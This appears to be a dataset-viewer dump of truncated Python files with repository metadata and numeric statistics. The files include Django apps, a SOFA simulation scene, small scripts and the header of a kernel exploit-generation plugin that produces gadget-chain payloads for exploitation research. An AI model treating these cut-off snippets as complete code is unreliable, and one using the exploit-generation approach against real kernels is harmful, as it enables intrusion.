from transformation.reflection.t_chromatic_reflectio... | 31.862944 | 120 | 0.667994 | 929 | 6,277 | 4.307858 | 0.1507 | 0.028736 | 0.047976 | 0.052224 | 0.647176 | 0.615942 | 0.593953 | 0.548726 | 0.485757 | 0.475512 | 0 | 0.012014 | 0.21762 | 6,277 | 197 | 121 | 31.862944 | 0.802891 | 0.028517 | 0 | 0.506757 | 0 | 0.040541 | 0.153113 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.047297 | false | 0 | 0.047297 | 0 | 0.155405 | 0.439189 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 |
3b4a6f69274f3576315f00bf9198a1bc6cdf1d9c | 444 | py | Python | Chapter 8/Mood.py | AlexanderHertsens/Webdevelopment-Smart | cf66d58c345534709339a654a1d3af3f2ed21b7c | [
"MIT"
] | null | null | null | Chapter 8/Mood.py | AlexanderHertsens/Webdevelopment-Smart | cf66d58c345534709339a654a1d3af3f2ed21b7c | [
"MIT"
] | null | null | null | Chapter 8/Mood.py | AlexanderHertsens/Webdevelopment-Smart | cf66d58c345534709339a654a1d3af3f2ed21b7c | [
"MIT"
] | null | null | null | """
SOLUTIONS ROBUST ARE ON GITHUB RAFFSON (OPLEIDER)
"""
mood = input("What is your mood? :")
mood = mood.lower()
if mood == "happy":
print("It is great to see you happy!")
elif mood == "nervous":
print("Take a deep breath 3 times.")
elif mood == "sad":
print("Cheer up, mate!")
elif mood == "excited":
... | 21.142857 | 49 | 0.621622 | 65 | 444 | 4.246154 | 0.676923 | 0.115942 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.002849 | 0.209459 | 444 | 20 | 50 | 22.2 | 0.783476 | 0.11036 | 0 | 0 | 0 | 0 | 0.449351 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.428571 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 |
3b56089230be41c40018de879a05e979eef8cb2c | 2,465 | py | Python | uploads/core/views.py | jasonravi/ankit_projetc | 95f20ac92f262b51118fe329cfe1d4c83711d273 | [
"MIT"
] | null | null | null | uploads/core/views.py | jasonravi/ankit_projetc | 95f20ac92f262b51118fe329cfe1d4c83711d273 | [
"MIT"
] | 2 | 2020-06-06T00:19:23.000Z | 2021-06-10T22:24:25.000Z | uploads/core/views.py | jasonravi/ankit_projetc | 95f20ac92f262b51118fe329cfe1d4c83711d273 | [
"MIT"
] | null | null | null | from django.shortcuts import render, redirect
from django.conf import settings
from django.core.files.storage import FileSystemStorage
from uploads.core.forms import DocumentForm
from uploads.core.tests import *
from uploads.core.models import *
import csv
import os
SETTINGS_PATH = os.path.dirname(os.path.dirname(__... | 31.202532 | 79 | 0.590669 | 278 | 2,465 | 5.100719 | 0.356115 | 0.077574 | 0.093794 | 0.11354 | 0.155853 | 0.155853 | 0.125529 | 0.070522 | 0 | 0 | 0 | 0.006418 | 0.304665 | 2,465 | 78 | 80 | 31.602564 | 0.820887 | 0 | 0 | 0.180328 | 0 | 0 | 0.097808 | 0.040179 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.131148 | null | null | 0.081967 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
3b5787c400f079f006ad1864658877150ec66eaf | 1,099 | py | Python | archivebox/core/middleware.py | sarvex/ArchiveBox | 2427e6d3dc377c665f785f1d845da4e5a20b50a0 | [
"MIT"
] | 6,340 | 2018-12-20T21:12:13.000Z | 2020-11-23T02:39:32.000Z | archivebox/core/middleware.py | sarvex/ArchiveBox | 2427e6d3dc377c665f785f1d845da4e5a20b50a0 | [
"MIT"
] | 388 | 2018-12-20T07:58:08.000Z | 2020-11-23T03:20:36.000Z | archivebox/core/middleware.py | sarvex/ArchiveBox | 2427e6d3dc377c665f785f1d845da4e5a20b50a0 | [
"MIT"
] | 439 | 2018-12-21T21:51:47.000Z | 2020-11-21T21:21:35.000Z | __package__ = 'archivebox.core'
from django.utils import timezone
from ..config import PUBLIC_SNAPSHOTS
def detect_timezone(request, activate: bool=True):
gmt_offset = (request.COOKIES.get('GMT_OFFSET') or '').strip()
tz = None
if gmt_offset.replace('-', '').isdigit():
tz = timezone.get_fixed_ti... | 28.921053 | 91 | 0.672429 | 128 | 1,099 | 5.617188 | 0.4375 | 0.075104 | 0.058414 | 0.080668 | 0.086231 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005794 | 0.214741 | 1,099 | 37 | 92 | 29.702703 | 0.827346 | 0.090082 | 0 | 0.166667 | 0 | 0 | 0.117352 | 0.026078 | 0 | 0 | 0 | 0 | 0 | 1 | 0.208333 | false | 0 | 0.083333 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
3b5a0df898048828f4c520e9b8d8fa29121269d4 | 2,459 | py | Python | warf/urls.py | acaciawater/warf | 2c2f5f38f6f681549f34e335e88fb6e7e4b7d229 | [
"MIT"
] | null | null | null | warf/urls.py | acaciawater/warf | 2c2f5f38f6f681549f34e335e88fb6e7e4b7d229 | [
"MIT"
] | null | null | null | warf/urls.py | acaciawater/warf | 2c2f5f38f6f681549f34e335e88fb6e7e4b7d229 | [
"MIT"
] | null | null | null | """warf URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/1.8/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')
Class-based ... | 42.396552 | 80 | 0.660838 | 320 | 2,459 | 4.940625 | 0.271875 | 0.037951 | 0.064516 | 0.055661 | 0.110689 | 0.074004 | 0.047438 | 0.047438 | 0 | 0 | 0 | 0.006101 | 0.200081 | 2,459 | 57 | 81 | 43.140351 | 0.797661 | 0.246035 | 0 | 0 | 0 | 0.025641 | 0.242556 | 0.122361 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.461538 | 0.179487 | 0 | 0.179487 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
3b6126ea39507460689f13a516edf2e4a3c4d93c | 35,617 | py | Python | src/controller/OpenAgua/Upload/UploadWaMDaM_SQLite_ToOpenAgua.py | WamdamProject/WaMDaM_Wizard | f8f5a830464f3c8f45e4eb0557833eefb267d7b2 | [
"BSD-3-Clause"
] | null | null | null | src/controller/OpenAgua/Upload/UploadWaMDaM_SQLite_ToOpenAgua.py | WamdamProject/WaMDaM_Wizard | f8f5a830464f3c8f45e4eb0557833eefb267d7b2 | [
"BSD-3-Clause"
] | 3 | 2018-11-17T05:49:18.000Z | 2020-12-31T15:57:14.000Z | src/controller/OpenAgua/Upload/UploadWaMDaM_SQLite_ToOpenAgua.py | WamdamProject/WaMDaM_Wizard | f8f5a830464f3c8f45e4eb0557833eefb267d7b2 | [
"BSD-3-Clause"
] | null | null | null | # coding: utf-8
# ...layout: {svg: "<svg>...</svg>"}
# This file builds a hydra template from the wamdam workbook.
# The file intends to export WaMDaM data that exist in the workbook
# into Hydra database
# The file reads WaMDaM workbook, then it maps each table in WaMDaM into the Hydra web-service
# Hydra API: http... | 43.917386 | 182 | 0.566218 | 3,820 | 35,617 | 5.090838 | 0.143979 | 0.031676 | 0.016969 | 0.011518 | 0.325757 | 0.264771 | 0.206716 | 0.176377 | 0.153288 | 0.143158 | 0 | 0.009526 | 0.328018 | 35,617 | 810 | 183 | 43.971605 | 0.803 | 0.366735 | 0 | 0.255072 | 0 | 0.002899 | 0.102886 | 0.005178 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.005797 | 0.055072 | null | null | 0.078261 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
3b625c6cbc9284808f98bb20fa39f1cb9989e329 | 7,162 | py | Python | src/osok/osok/_exploit_generation.py | ww9210/kepler-cfhp | e530583fa96a99c53a043f6fd5cd67c63509731d | [
"MIT"
] | 52 | 2019-08-19T07:26:44.000Z | 2022-03-10T11:47:17.000Z | src/osok/osok/_exploit_generation.py | ww9210/kepler-cfhp | e530583fa96a99c53a043f6fd5cd67c63509731d | [
"MIT"
] | 2 | 2019-09-13T20:12:12.000Z | 2022-01-19T01:57:10.000Z | src/osok/osok/_exploit_generation.py | ww9210/kepler-cfhp | e530583fa96a99c53a043f6fd5cd67c63509731d | [
"MIT"
] | 19 | 2019-08-24T11:54:18.000Z | 2022-03-02T02:34:18.000Z | """
filename: _exploit_generation.py
author: ww9210
This plugin is used to reproduce the gadget chain and generate concrete payload discovered in previous phase.
We do not generate concrete payload during exploration because such constraint solving will eat a lot of memeoy space
This file does not handle the detail of ... | 41.398844 | 120 | 0.65666 | 907 | 7,162 | 4.866593 | 0.218302 | 0.052333 | 0.041232 | 0.023788 | 0.219982 | 0.152243 | 0.051654 | 0.021749 | 0.021749 | 0.021749 | 0 | 0.008403 | 0.268919 | 7,162 | 172 | 121 | 41.639535 | 0.834607 | 0.166574 | 0 | 0.152381 | 1 | 0 | 0.010955 | 0 | 0 | 0 | 0 | 0 | 0.038095 | 1 | 0.047619 | false | 0 | 0.047619 | 0 | 0.161905 | 0.019048 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
3b67adb5ef7477e12c769dda25db4b82b7326420 | 353 | py | Python | v1/votes/models/song_vote.py | lawiz22/PLOUC-Backend-master | b93fa2fea8d45df9f19c3c58037e59dad4981921 | [
"MIT"
] | null | null | null | v1/votes/models/song_vote.py | lawiz22/PLOUC-Backend-master | b93fa2fea8d45df9f19c3c58037e59dad4981921 | [
"MIT"
] | 3 | 2020-06-05T21:24:34.000Z | 2022-03-11T23:50:26.000Z | v1/votes/models/song_vote.py | lawiz22/PLOUC-Backend-master | b93fa2fea8d45df9f19c3c58037e59dad4981921 | [
"MIT"
] | null | null | null | from django.db import models
from v1.music.models.song import Song
from v1.votes.models.vote import Vote
class SongVote(Vote):
song = models.ForeignKey(Song)
class Meta:
default_related_name = 'song_votes'
unique_together = ('song', 'user')
def __str__(self):
return f'song: {self... | 23.533333 | 60 | 0.674221 | 49 | 353 | 4.693878 | 0.55102 | 0.052174 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007168 | 0.209632 | 353 | 14 | 61 | 25.214286 | 0.817204 | 0 | 0 | 0 | 0 | 0 | 0.169972 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | false | 0 | 0.3 | 0.1 | 0.8 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
3b6c5493012f05b789cd33d53da045593451f9de | 687 | py | Python | src/software/backend/api/models.py | ObaraEmmanuel/votingBooth | 53cc59e617e0d2b47fbefb48f6e5a096c74f1ad9 | [
"MIT"
] | 2 | 2021-06-06T05:07:34.000Z | 2021-08-30T08:56:41.000Z | src/software/backend/api/models.py | bytecod3/votingBooth | 6a248833b34885a1d6b62b5d1ee7a60baba769e9 | [
"MIT"
] | 44 | 2021-05-24T18:43:56.000Z | 2021-07-29T21:05:02.000Z | src/software/backend/api/models.py | bytecod3/votingBooth | 6a248833b34885a1d6b62b5d1ee7a60baba769e9 | [
"MIT"
] | 3 | 2021-06-05T19:53:32.000Z | 2021-06-11T11:29:22.000Z | from django.db import models
from django.contrib.auth.models import AbstractUser
from django.utils.translation import ugettext_lazy as _
from .managers import UserManager
class User(AbstractUser):
email = models.EmailField(_('Email address'), unique=True)
regno = models.CharField(_('Registration number'), ma... | 29.869565 | 82 | 0.727802 | 84 | 687 | 5.797619 | 0.571429 | 0.061602 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012259 | 0.16885 | 687 | 22 | 83 | 31.227273 | 0.84063 | 0.043668 | 0 | 0 | 0 | 0 | 0.096183 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.266667 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
3b7375cda15f428d230613a1b37350cc6f468e18 | 892 | py | Python | bankoops.py | kumaranu7/Basic-OOP-s-understanding | cf2d95e8b206dadc1a96cffa5540f05d1952800a | [
"MIT"
] | null | null | null | bankoops.py | kumaranu7/Basic-OOP-s-understanding | cf2d95e8b206dadc1a96cffa5540f05d1952800a | [
"MIT"
] | null | null | null | bankoops.py | kumaranu7/Basic-OOP-s-understanding | cf2d95e8b206dadc1a96cffa5540f05d1952800a | [
"MIT"
] | null | null | null | from random import randint
class CurrentAcc:
def validate(self, name, accnumber):
self.name = name
self.accnumber = accnumber
def balance(self, balance):
self.balance = balance
def withdraw(self, amount):
self.amount = amount
def deposit(self, amount):
... | 24.108108 | 51 | 0.600897 | 99 | 892 | 5.353535 | 0.383838 | 0.060377 | 0.045283 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.016129 | 0.304933 | 892 | 37 | 52 | 24.108108 | 0.83871 | 0 | 0 | 0.074074 | 0 | 0 | 0.045508 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.037037 | null | null | 0.037037 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
3b74df54d58833c8f21eefb6ada94c15c6bf6fff | 1,408 | py | Python | Project 1 - Blog/blog/administrator/migrations/0004_post.py | mishelshaji/Django-Course | d4719bb29a28163c9f30203f9dcaf76e5523821c | [
"MIT"
] | 1 | 2021-11-13T12:26:34.000Z | 2021-11-13T12:26:34.000Z | Project 1 - Blog/blog/administrator/migrations/0004_post.py | mishelshaji/Django-Course | d4719bb29a28163c9f30203f9dcaf76e5523821c | [
"MIT"
] | null | null | null | Project 1 - Blog/blog/administrator/migrations/0004_post.py | mishelshaji/Django-Course | d4719bb29a28163c9f30203f9dcaf76e5523821c | [
"MIT"
] | 1 | 2021-07-08T08:32:05.000Z | 2021-07-08T08:32:05.000Z | # Generated by Django 3.2.3 on 2021-06-18 07:08
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('administrator', '0003_alter_category_table'),
]
operations = [
migrations.CreateModel(
name='Po... | 45.419355 | 172 | 0.615057 | 143 | 1,408 | 5.895105 | 0.517483 | 0.09134 | 0.074733 | 0.052195 | 0.156584 | 0.090154 | 0.090154 | 0 | 0 | 0 | 0 | 0.024977 | 0.232244 | 1,408 | 30 | 173 | 46.933333 | 0.754857 | 0.03196 | 0 | 0 | 1 | 0 | 0.191771 | 0.034533 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.083333 | 0 | 0.208333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
3b7844ad38f70a32fad49ccb3c0c1b08a183d418 | 11,290 | py | Python | FirstModels/StrandModels/HelicoidalBeamExampleForForum.py | MarcoMagl/mySofaDevs | e918a21773268e1008ceb24a398fe694b99f2380 | [
"MIT"
] | 2 | 2020-05-23T12:53:22.000Z | 2020-09-14T00:17:11.000Z | FirstModels/StrandModels/HelicoidalBeamExampleForForum.py | MarcoMagl/mySofaDevs | e918a21773268e1008ceb24a398fe694b99f2380 | [
"MIT"
] | 1 | 2020-06-19T05:23:19.000Z | 2020-06-19T05:23:19.000Z | FirstModels/StrandModels/HelicoidalBeamExampleForForum.py | MarcoMagl/mySofaDevs | e918a21773268e1008ceb24a398fe694b99f2380 | [
"MIT"
] | 1 | 2020-05-07T12:44:21.000Z | 2020-05-07T12:44:21.000Z | """
BeamFEMForceFieldPython
is based on the scene
/Users/marco.magliulo/mySofaCodes/myScriptsToGetStarted/BeamFEMForceField.scn
but it uses the SofaPython plugin.
Further informations on the usage of the plugin can be found in
sofa/applications/plugins/SofaPython/doc/SofaPython.pdf
To launch the scene, type
runSofa... | 47.436975 | 209 | 0.661027 | 1,398 | 11,290 | 5.334049 | 0.219599 | 0.00751 | 0.057932 | 0.050557 | 0.563497 | 0.550087 | 0.474454 | 0.463591 | 0.413169 | 0.387689 | 0 | 0.027625 | 0.211249 | 11,290 | 238 | 210 | 47.436975 | 0.80977 | 0.295217 | 0 | 0.260563 | 0 | 0 | 0.123084 | 0.006509 | 0 | 0 | 0 | 0 | 0.014085 | 0 | null | null | 0 | 0.028169 | null | null | 0.049296 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
3b78ee8442cde5053bc08fd6abf3222119745f76 | 1,428 | py | Python | python/parse_running_cmd.py | mbr0wn/snippets | f8cc86d73cf3373348135be26c6478798a639a21 | [
"WTFPL"
] | null | null | null | python/parse_running_cmd.py | mbr0wn/snippets | f8cc86d73cf3373348135be26c6478798a639a21 | [
"WTFPL"
] | null | null | null | python/parse_running_cmd.py | mbr0wn/snippets | f8cc86d73cf3373348135be26c6478798a639a21 | [
"WTFPL"
] | null | null | null | #!/usr/bin/env python
from subprocess import Popen, PIPE, STDOUT
from threading import Thread
import time
try:
from Queue import Queue, Empty
except ImportError:
from queue import Queue, Empty # python 3.x
ROT_ANIM = ('-', '\\', '|', '/',)
def enqueue_output(out, queue):
for line in iter(out.readline,... | 27.461538 | 89 | 0.552521 | 192 | 1,428 | 4.015625 | 0.552083 | 0.027237 | 0.038911 | 0.051881 | 0.064851 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010331 | 0.322129 | 1,428 | 51 | 90 | 28 | 0.786157 | 0.219888 | 0 | 0 | 0 | 0 | 0.050817 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.02439 | 0.146341 | null | null | 0.02439 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.